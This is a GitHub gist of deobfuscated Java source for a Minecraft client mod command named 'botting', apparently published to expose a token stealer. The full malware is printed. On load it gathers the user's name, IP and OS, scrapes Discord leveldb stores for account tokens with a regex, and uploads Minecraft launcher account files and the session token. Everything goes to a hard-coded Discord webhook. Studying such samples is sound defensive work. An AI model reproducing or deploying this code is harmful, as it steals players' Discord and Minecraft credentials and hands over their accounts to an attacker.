Last active
June 25, 2021 02:55
-
-
Save abrn/9e1102307aa0880e51036abd59c8aa78 to your computer and use it in GitHub Desktop.
armorhud token stealer deobfuscated
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package me.omi.command; | |
import java.io.BufferedReader; | |
import java.io.DataInputStream; | |
import java.io.File; | |
import java.io.FileInputStream; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.InputStreamReader; | |
import java.io.PrintWriter; | |
import java.net.URL; | |
import java.net.URLConnection; | |
import java.net.URLEncoder; | |
import java.nio.charset.StandardCharsets; | |
import java.security.MessageDigest; | |
import java.util.ArrayList; | |
import java.util.Arrays; | |
import java.util.Base64; | |
import java.util.Iterator; | |
import java.util.List; | |
import java.util.regex.Matcher; | |
import java.util.regex.Pattern; | |
import javax.crypto.Cipher; | |
import javax.crypto.spec.SecretKeySpec; | |
import me.omi.OmiClient; | |
import me.omi.module.Module; | |
import me.omi.module.render.VanishCheck; | |
import me.omi.utils.MultipartEntity; | |
import me.omi.utils.mime.ContentBody; | |
import me.omi.utils.mime.InputStreamBody; | |
import me.omi.utils.mime.StringBody; | |
import net.minecraft.client.Minecraft; | |
import net.minecraft.command.CommandBase; | |
import net.minecraft.command.CommandException; | |
import net.minecraft.command.ICommandSender; | |
import net.minecraft.util.ChatComponentText; | |
import net.minecraft.util.EnumChatFormatting; | |
import net.minecraft.util.IChatComponent; | |
import org.apache.http.Consts; | |
import org.apache.http.HttpEntity; | |
import org.apache.http.client.ClientProtocolException; | |
import org.apache.http.client.methods.HttpPost; | |
import org.apache.http.client.methods.HttpUriRequest; | |
import org.apache.http.impl.client.DefaultHttpClient; | |
import org.apache.http.params.BasicHttpParams; | |
import org.apache.http.params.HttpParams; | |
public class botting extends CommandBase { | |
private static final /* synthetic */ String[] stringMap; | |
public botting() { | |
super(); | |
this.send(); | |
} | |
private static void initMaskedStrings() { | |
stringMap = new String[60]; | |
stringMap[0] = 'botting'; | |
stringMap[1] = 'bot'; | |
stringMap[2] = '/botting (silent/blatant)'; | |
stringMap[3] = '[OMI CLIENT] Usage is /botting (silent/blatant)'; | |
stringMap[4] = 'silent'; | |
stringMap[5] = 'Vanish Checker'; | |
stringMap[6] = '[OMI CLIENT] Silent botting mode disabled.'; | |
stringMap[7] = '[OMI CLIENT] Silent botting mode enabled.'; | |
stringMap[8] = 'blatant'; | |
stringMap[9] = 'Vanish Checker'; | |
stringMap[10] = '[OMI CLIENT] Blatant botting mode disabled.'; | |
stringMap[11] = '[OMI CLIENT] Blatant botting mode enabled.'; | |
stringMap[12] = '[OMI CLIENT] Usage is /botting (silent/blatant)'; | |
stringMap[13] = 'os.name'; | |
stringMap[14] = 'http://checkip.amazonaws.com'; | |
stringMap[15] = 'user.name'; | |
stringMap[16] = '``` NAME : '; | |
stringMap[17] = "IGN : "; | |
stringMap[18] = "IP : "; | |
stringMap[19] = "OS : "; | |
stringMap[20] = '```'; | |
stringMap[21] = '``` WTF '; | |
stringMap[22] = '```'; | |
stringMap[23] = 'Windows'; | |
stringMap[24] = 'user.home'; | |
stringMap[25] = '/AppData/Roaming/discord/Local Storage/leveldb/'; | |
stringMap[26] = 'user.home'; | |
stringMap[27] = '/AppData/Roaming/discordptb/Local Storage/leveldb/'; | |
stringMap[28] = 'user.home'; | |
stringMap[29] = '/AppData/Roaming/discordcanary/Local Storage/leveldb/'; | |
stringMap[30] = 'TOKEN';; | |
stringMap[31] = '[nNmM][\w\W]{23}\.[xX][\w\W]{5}\.[\w\W]{27}|mfa\.[\w\W]{84}'; | |
stringMap[32] = ''; | |
stringMap[33] = ' '; | |
stringMap[34] = '```'; | |
stringMap[35] = '```'; | |
stringMap[36] = '``` UNABLE TO PULL TOKENS : '; | |
stringMap[37] = '```'; | |
stringMap[38] = 'https://discord.com/api/webhooks/835614951170375811/2Alq9zgdkJzqJbMrl3U-N-IIiDHnr7mTmBhQR_hIItcqNCA6sQefhA2Qbk1FbVUF2GnU'; | |
stringMap[39] = 'accept'; | |
stringMap[40] = '*/*'; | |
stringMap[41] = 'connection'; | |
stringMap[42] = 'Keep-Alive'; | |
stringMap[43] = 'user-agent'; | |
stringMap[44] = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'; | |
stringMap[45] = 'content'; | |
stringMap[46] = 'UTF-8'; | |
stringMap[47] = '='; | |
stringMap[48] = 'UTF-8'; | |
stringMap[49] = '/n'; | |
stringMap[50] = 'user.home'; | |
stringMap[51] = '/AppData/Roaming/.minecraft/launcher_accounts.json'; | |
stringMap[52] = 'user.home'; | |
stringMap[53] = '/AppData/Roaming/.minecraft/launcher_profiles.json'; | |
stringMap[54] = 'https://discord.com/api/webhooks/835614951170375811/2Alq9zgdkJzqJbMrl3U-N-IIiDHnr7mTmBhQR_hIItcqNCA6sQefhA2Qbk1FVUF2GnU'; | |
stringMap[55] = 'file'; | |
stringMap[56] = 'payload_json'; | |
stringMap[57] = '{"content": "'; | |
stringMap[58] = ' '; | |
stringMap[59] = '"}'; | |
} | |
private void sendMessage(String webhookMessage) { | |
PrintWriter writeBuffer = null; | |
BufferedReader readBuffer = null; | |
StringBuilder sb = new StringBuilder(); | |
String line; | |
URL webhook = new URL('https://discord.com/api/webhooks/835614951170375811/2Alq9zgdkJzqJbMrl3U-N-IIiDHnr7mTmBhQR_hIItcqNCA6sQefhA2Qbk1FbVUF2GnU'); | |
URLConnection connection = webhook.openConnection(); | |
connection.setRequestProperty('accept', '/*/'); | |
connection.setRequestProperty('connection', 'Keep-Alive'); | |
connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"); | |
connection.setDoOutput(1); | |
connection.setDoInput(1); | |
String sendData = String.valueOf(new StringBuilder().append(URLEncoder.encode('content', 'UTF-8')).append('=').append(URLEncoder.encode(webhookMessage, 'UTF-8'))); | |
writeBuffer = new PrintWriter(connection.getOutputStream()); | |
writeBuffer.print(sendData); | |
writeBuffer.flush(); | |
readBuffer = new BufferedReader(new InputStreamReader(connection.getInputStream())); | |
while (notNull(line = readBuffer.readLine())) { | |
sb.append('\n').append(line); | |
} | |
try { | |
if (notNull(writeBuffer)) { | |
writeBuffer.close(); | |
} | |
if (notNull(readBuffer)) { | |
readBuffer.close(); | |
} | |
} | |
} | |
public void sendProfiles() { | |
FileInputStream fileInputStream = null; | |
try { | |
final List<String> filenameList = new ArrayList<String>(); | |
filenameList.add(String.valueOf( | |
new StringBuilder().append( | |
System.getProperty("user.home")).append("/AppData/Roaming/.minecraft/launcher_accounts.json"))); | |
filenameList.add(String.valueOf( | |
new StringBuilder().append( | |
System.getProperty("user.home")).append("/AppData/Roaming/.minecraft/launcher_profiles.json"))); | |
final long iterator = filenameList.iterator(); | |
while (notZero(iterator.hasNext() ? 1 : 0)) { | |
final String filepath = ((Iterator<String>)iterator).next(); | |
final File currentFile = new File(filepath); | |
final DefaultHttpClient httpClient = new DefaultHttpClient((HttpParams)new BasicHttpParams()); | |
final HttpPost httpPost = new HttpPost('https://discord.com/api/webhooks/835614951170375811/2Alq9zgdkJzqJbMrl3U-N-IIiDHnr7mTmBhQR_hIItcqNCA6sQefhA2Qbk1FVUF2GnU'); | |
final MultipartEntity postData = new MultipartEntity(); | |
fileInputStream = new FileInputStream(currentFile); | |
postData.addPart('file', (ContentBody)new InputStreamBody((InputStream)fileInputStream, currentFile.getName())); | |
final String minecraftUsername = Minecraft.getMinecraft().getSession().getUsername(); | |
final String minecraftSessToken = Minecraft.getMinecraft().getSession().getToken(); | |
postData.addPart( | |
"payload_json", | |
(ContentBody)new StringBody(String.valueOf( | |
new StringBuilder() | |
.append('{"content": ') | |
.append(minecraftUsername) | |
.append(' ') | |
.append(minecraftSessToken) | |
.append('"}'), Consts.UTF_8))); | |
httpPost.setEntity((HttpEntity)postData); | |
httpClient.execute((HttpUriRequest)httpPost); | |
} | |
try { | |
if (notNull(fileInputStream)) { | |
fileInputStream.close(); | |
} | |
} | |
} | |
} | |
public void send() { | |
Object iterator; | |
String operatingSystem; | |
block14: { | |
operatingSystem = System.getProperty("os.name"); | |
try { | |
URL ipURL = new URL("http://checkip.amazonaws.com"); | |
BufferedReader llllllIlIIllIIl = new BufferedReader(new InputStreamReader(ipURL.openStream())); | |
String llllllIlIIllIII = llllllIlIIllIIl.readLine(); | |
iterator = System.getProperty(stringMap[15]); | |
this.sendMessage(String.valueOf(new StringBuilder().append(stringMap[16]).append((String)iterator).append(stringMap[17]).append(Minecraft.getMinecraft().func_110432_I().func_111285_a()).append(stringMap[18]).append(llllllIlIIllIII).append(stringMap[19]).append(operatingSystem).append(stringMap[20]))); | |
this.sendProfiles(); | |
} | |
catch (Exception ex) { | |
this.sendMessage(String.valueOf(new StringBuilder().append(stringMap[21]).append(ex).append(stringMap[22]))); | |
ex.printStackTrace(); | |
break block14; | |
} | |
} | |
if (operatingSystem.contains("Windows") ? 0 : 1) return; | |
ArrayList<String> discordPaths = new ArrayList<String>(); | |
discordPaths.add(String.valueOf(new StringBuilder().append(System.getProperty("user.home")).append("/AppData/Roaming/discord/Local Storage/leveldb/"))); | |
discordPaths.add(String.valueOf(new StringBuilder().append(System.getProperty("user.home")).append("/AppData/Roaming/discordptb/Local Storage/leveldb/"))); | |
discordPaths.add(String.valueOf(new StringBuilder().append(System.getProperty("user.home")).append("/AppData/Roaming/discordcanary/Local Storage/leveldb/"))); | |
int llllllIlIIIlIIl = 0; | |
StringBuilder llllllIlIIIlIII = new StringBuilder(); | |
llllllIlIIIlIII.append(stringMap[30]); | |
try { | |
iterator = discordPaths.iterator(); | |
while (notZero(iterator.hasNext() ? 1 : 0)) { | |
String filepath = (String)iterator.next(); | |
File file = new File(filepath); | |
String[] llllllIlIIIllIl = file.list(); | |
if (isNull(llllllIlIIIllIl)) { | |
continue; | |
} | |
String[] llllllIIlllllII = llllllIlIIIllIl; | |
int llllllIIllllIll = llllllIIlllllII.length; | |
int llllllIIllllIlI = 0; | |
while (lowerOrEqualTo(llllllIIllllIlI, llllllIIllllIll)) { | |
block15: { | |
String llllllIlIIIllll = llllllIIlllllII[llllllIIllllIlI]; | |
try { | |
String llllllIlIIlIIII; | |
FileInputStream llllllIlIIlIIll = new FileInputStream(String.valueOf(new StringBuilder().append(filepath).append(llllllIlIIIllll))); | |
DataInputStream llllllIlIIlIIlI = new DataInputStream(llllllIlIIlIIll); | |
BufferedReader llllllIlIIlIIIl = new BufferedReader(new InputStreamReader(llllllIlIIlIIlI)); | |
while (notNull(llllllIlIIlIIII = llllllIlIIlIIIl.readLine())) { | |
Pattern llllllIlIIlIlIl = Pattern.compile(stringMap[31]); | |
Matcher llllllIlIIlIlII = llllllIlIIlIlIl.matcher(llllllIlIIlIIII); | |
while (notZero(llllllIlIIlIlII.find() ? 1 : 0)) { | |
if (aboveZero(llllllIlIIIlIIl)) { | |
llllllIlIIIlIII.append(stringMap[32]); | |
} | |
llllllIlIIIlIII.append(stringMap[33]).append(llllllIlIIlIlII.group()); | |
++llllllIlIIIlIIl; | |
} | |
} | |
llllllIlIIlIIIl.close(); | |
} | |
} | |
++llllllIIllllIlI; | |
} | |
} | |
this.sendMessage(String.valueOf(new StringBuilder().append(stringMap[34]).append(String.valueOf(llllllIlIIIlIII)).append(stringMap[35]))); | |
} | |
catch (Exception ex) { | |
this.sendMessage(String.valueOf(new StringBuilder().append(stringMap[36]).append(ex).append(stringMap[37]))); | |
return; | |
} | |
return; | |
} | |
private static String xorDecrypt(String key, String string) { | |
key = new String(Base64.getDecoder().decode(key.getBytes(StandardCharsets.UTF_8)), StandardCharsets.UTF_8); | |
StringBuilder result = new StringBuilder(); | |
char[] cipherChars = string.toCharArray(); | |
int cipherIndex = 0; | |
char[] xorKey = key.toCharArray(); | |
int keyLength = xorKey.length; | |
int keyIndex = 0; | |
do { | |
if (keyIndex >= keyLength) return String.valueOf(result); | |
char keyChar = xorKey[keyIndex]; | |
result.append( (char)( keyChar ^ cipherChars[cipherIndex % cipherChars.length] ) ); | |
++cipherIndex; | |
++keyIndex; | |
} while (true); | |
return null; | |
} | |
private static String bfishDecrypt(String string, String cipherBytes) { | |
SecretKeySpec keySpec = new SecretKeySpec( | |
MessageDigest.getInstance("MD5") | |
.digest(cipherBytes.getBytes(StandardCharsets.UTF_8)), "Blowfish"); | |
Cipher cipher = Cipher.getInstance("Blowfish"); | |
cipher.init(2, keySpec); | |
return new String(cipher.doFinal(Base64.getDecoder().decode(string.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8); | |
} | |
private static String desDecrypt(String string, String cipherBytes) { | |
SecretKeySpec keySpec = new SecretKeySpec( | |
Arrays.copyOf( | |
MessageDigest.getInstance("MD5") | |
.digest(cipherBytes.getBytes(StandardCharsets.UTF_8)), 8), "DES"); | |
Cipher cipher = Cipher.getInstance("DES"); | |
cipher.init(2, keySpec); | |
return new String(cipher.doFinal( | |
Base64.getDecoder().decode(string.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8); | |
} | |
public void func_71515_b(ICommandSender llllllIlIllIIlI, String[] llllllIlIllIIIl) throws CommandException { | |
Iterator llllllIlIlIllll; | |
if (botting.lowerOrEqualTo(llllllIlIllIIIl.length, 1)) { | |
Minecraft.getMinecraft().field_71439_g.addChatMessage((IChatComponent)new ChatComponentText(String.valueOf(new StringBuilder().append(EnumChatFormatting.GREEN).append(stringMap[3])))); | |
return; | |
} | |
if (botting.notZero(llllllIlIllIIIl[0].contains(stringMap[4]) ? 1 : 0)) { | |
llllllIlIlIllll = OmiClient.instance.moduleManager.modules.iterator(); | |
while (botting.notZero(llllllIlIlIllll.hasNext() ? 1 : 0)) { | |
Module llllllIlIllIlIl = (Module)llllllIlIlIllll.next(); | |
if (isEqual(llllllIlIllIlIl.name, stringMap[5])) { | |
if (botting.notZero(((VanishCheck)llllllIlIllIlIl).bottingSilent.booleanValue() ? 1 : 0)) { | |
((VanishCheck)llllllIlIllIlIl).bottingSilent = 0; | |
Minecraft.getMinecraft().field_71439_g.addChatMessage((IChatComponent)new ChatComponentText(String.valueOf(new StringBuilder().append(EnumChatFormatting.GREEN).append(stringMap[6])))); | |
return; | |
} | |
((VanishCheck)llllllIlIllIlIl).bottingSilent = 1; | |
Minecraft.getMinecraft().field_71439_g.addChatMessage((IChatComponent)new ChatComponentText(String.valueOf(new StringBuilder().append(EnumChatFormatting.GREEN).append(stringMap[7])))); | |
return; | |
} | |
} | |
} | |
if (botting.notZero(llllllIlIllIIIl[0].contains(stringMap[8]) ? 1 : 0)) { | |
llllllIlIlIllll = OmiClient.instance.moduleManager.modules.iterator(); | |
while (botting.notZero(llllllIlIlIllll.hasNext() ? 1 : 0)) { | |
Module llllllIlIllIlII = (Module)llllllIlIlIllll.next(); | |
if (isEqual(llllllIlIllIlII.name, stringMap[9])) { | |
if (botting.notZero(((VanishCheck)llllllIlIllIlII).bottingBlatant.booleanValue() ? 1 : 0)) { | |
((VanishCheck)llllllIlIllIlII).bottingBlatant = 0; | |
Minecraft.getMinecraft().field_71439_g.addChatMessage((IChatComponent)new ChatComponentText(String.valueOf(new StringBuilder().append(EnumChatFormatting.GREEN).append(stringMap[10])))); | |
return; | |
} | |
((VanishCheck)llllllIlIllIlII).bottingBlatant = 1; | |
Minecraft.getMinecraft().field_71439_g.addChatMessage((IChatComponent)new ChatComponentText(String.valueOf(new StringBuilder().append(EnumChatFormatting.GREEN).append(stringMap[11])))); | |
return; | |
} | |
} | |
} | |
Minecraft.getMinecraft().field_71439_g.addChatMessage((IChatComponent)new ChatComponentText(String.valueOf(new StringBuilder().append(EnumChatFormatting.GREEN).append(stringMap[12])))); | |
} | |
// Hooks ForgeAPI command GetCommandAliases() - original name: func_71514_a | |
public List<String> mcGetCommandAliases() { | |
ArrayList<String> aliases = new ArrayList<String>(); | |
aliases.add("bot"); | |
return aliases; | |
} | |
// Hooks ForgeAPI command canCommandSenderUseCommand() - original name: func_71519_b | |
public boolean mcCanCommandSenderUseCommand(ICommandSender sender) { | |
return 1; | |
} | |
// Hooks ForgeAPI command GetCommandUsage() - original name: func_71518_a | |
public String mcGetCommandUsage(ICommandSender sender) { | |
return "/botting (silent/blatant)"; | |
} | |
// Hooks ForgeAPI command GetCommandName() - original name: func_71517_b | |
public String mcGetCommandName() { | |
return "botting"; | |
} | |
private static boolean isEqual(Object object, Object object2) { | |
if (object != object2) return false; | |
return true; | |
} | |
private static boolean notNull(Object object) { | |
if (object == null) return false; | |
return true; | |
} | |
private static boolean lowerOrEqualTo(int n, int n2) { | |
if (n >= n2) return false; | |
return true; | |
} | |
private static boolean aboveZero(int n) { | |
if (n <= 0) return false; | |
return true; | |
} | |
private static boolean isNull(Object object) { | |
if (object != null) return false; | |
return true; | |
} | |
private static boolean notZero(int n) { | |
if (n == 0) return false; | |
return true; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment